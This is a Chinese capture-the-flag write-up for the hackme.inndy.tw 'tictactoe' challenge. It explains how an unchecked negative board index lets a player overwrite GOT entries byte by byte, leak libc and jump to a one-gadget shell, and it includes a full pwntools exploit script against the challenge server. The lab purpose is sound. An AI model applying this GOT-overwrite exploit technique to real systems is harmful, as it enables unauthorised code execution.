https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了tictactoe这个题目感觉还不错,我把wp分享出来,方便大家学习
tictactoe的题目要求是:
nc hackme.inndy.tw 7714
Can you beat my tic-tac-toe AI?
把tictactoe直接拖入ida中:
main函数:
computerMove函数:
draw函数:
playerMove函数:
win函数:
print_result函数:
input函数:
这个题目挺复杂的,但是在反编译的地方我找到一个题目的源码在:https://gist.github.com/MatthewSteel/3158579,这个题目就是由这个游戏修改而成
先运行一下程序看一下这个程序干了啥:
这个程序输入9的时候可以输入改变的数字,输入其他数字可以把输入的数字放入指定的位置
再看看程序开启了哪些保护:
这个题目开了栈不可执行和canary保护,所以不可能是栈溢出
这个程序的漏洞点是在:playerMove函数里面,由于输入的数字没有任何限制,所以可以输入负数覆盖0x804B056之前的数字,在地址0x804B056之前由got表,所以可以修改got表中的内容来改变程序的流程,但是这个程序如果改变got表中的内容的话就只有三次机会,每次只能修改一个字节,然后就会判断你失败,最后强行退出程序,由于Linux动态运行库会延迟绑定,这个可以参考 http://blog.csdn.net/virtual_func/article/details/48789947 下面是getshell的过程:
(1)通过两次修改把memset@got的后两位地址改成0x08048BD5,也就是反编译中的main函数的第37行调用playerMove函数的地址,这样就使整个程序变成一个循环
(2)利用循环修改open函数为:printf("Here is your flag: %s\n", buf);
的地址,也就是0x08048CB4这个位置,目的是为了泄露libc的基地址
(3)利用循环把exit函数改成main函数的第37行调用playerMove函数的地址,目的是为了在泄露libc基地址后,再计算MAGIC,之后跳转到大循环中
(4)上面的open函数和exit函数修改完成之后,只要把0x804B04D中数据改成ff ff ff,就可以赢得游戏,程序就会运行到读flag的地方,也就可以运行你布置好的流程,通过这个循环获取到MAGIC地址后再跳到main函数的第37行调用playerMove函数的地址
(5)通过playerMove函数修改0x804B04D中数据改成ff 01 ff 使win判断失败,继续进入到大循环中
(6)再大循环中把open@got指针改成exit(0);的地址,也就是0x08048CF2,把exit@got改成MAGIC的地址
(7)把0x804B04D中数据改成ff ff ff,再次赢得游戏,就可以getshell了
下面是我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import sys
from termios import tcflush, TCIFLUSH
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC = 0x3AC69 #locallibc
remoteMAGIC = 0x3ac49 #remotelibc #libc6_2.23-0ubuntu3_i386.so
def debug(addr = '0x08048CF2'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
def input_number(number):
io.recv(timeout=5)
io.sendline('9')
#tcflush(sys.stdin, TCIFLUSH)
io.send(number)
time.sleep(1)
sys.stdout.flush()
#tcflush(sys.stdin, TCIFLUSH)
def input_addr(addr):
io.recvuntil('Input move (9 to change flavor): ',timeout=5)
io.sendline(addr)
sys.stdout.flush()
#time.sleep(1)
#tcflush(sys.stdin, TCIFLUSH)
elf = ELF('/home/h11p/hackme/tictactoe')
#io = process('/home/h11p/hackme/tictactoe')
io = remote('hackme.inndy.tw', 7714)
#debug()
io.recvuntil('Play (1)st or (2)nd? ')
io.sendline('1')
#change memset to loop
input_number(p32(0xd5))
input_addr('-34')
input_number(p32(0x8b))
input_addr('-33')
#change open to printf_flag
input_number(p32(0xb4))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to loop
input_number(p32(0xd5))
input_addr('-46')
input_number(p32(0x8b))
input_addr('-45')
input_number(p32(0x04))
input_addr('-44')
input_number(p32(0x08))
input_addr('-43')
#success get flag
input_number(p32(0xff))
input_addr('-9')
input_number(p32(0xff))
input_addr('-8')
input_number(p32(0xff))
input_addr('-7')
#leak libc_base
libc_leak=io.recv(timeout=5).splitlines()[1][19:23]
libc_leak=u32(libc_leak)
print hex(libc_leak)
libc_base=libc_leak-0x3f12
print "libc_base:"+hex(libc_base)
#MAGIC_addr=libc_base+localMAGIC
MAGIC_addr=libc_base+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
#unsuccess get flag
input_number(p32(1))
input_addr('-8')
#change open to exit
input_number(p32(0xce))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to MAGIC_addr
Bytes_MAGIC_addr=bytearray.fromhex(hex(MAGIC_addr)[2:])
exit_addr=-46
for i in Bytes_MAGIC_addr[::-1]:
input_number(p32(i))
input_addr(str(exit_addr))
exit_addr=exit_addr+1
#success get flag
input_number(p32(0xff))
input_addr('-8')
io.interactive()
#io.recv()
效果是:
Ps:打远程会经常断,要试几次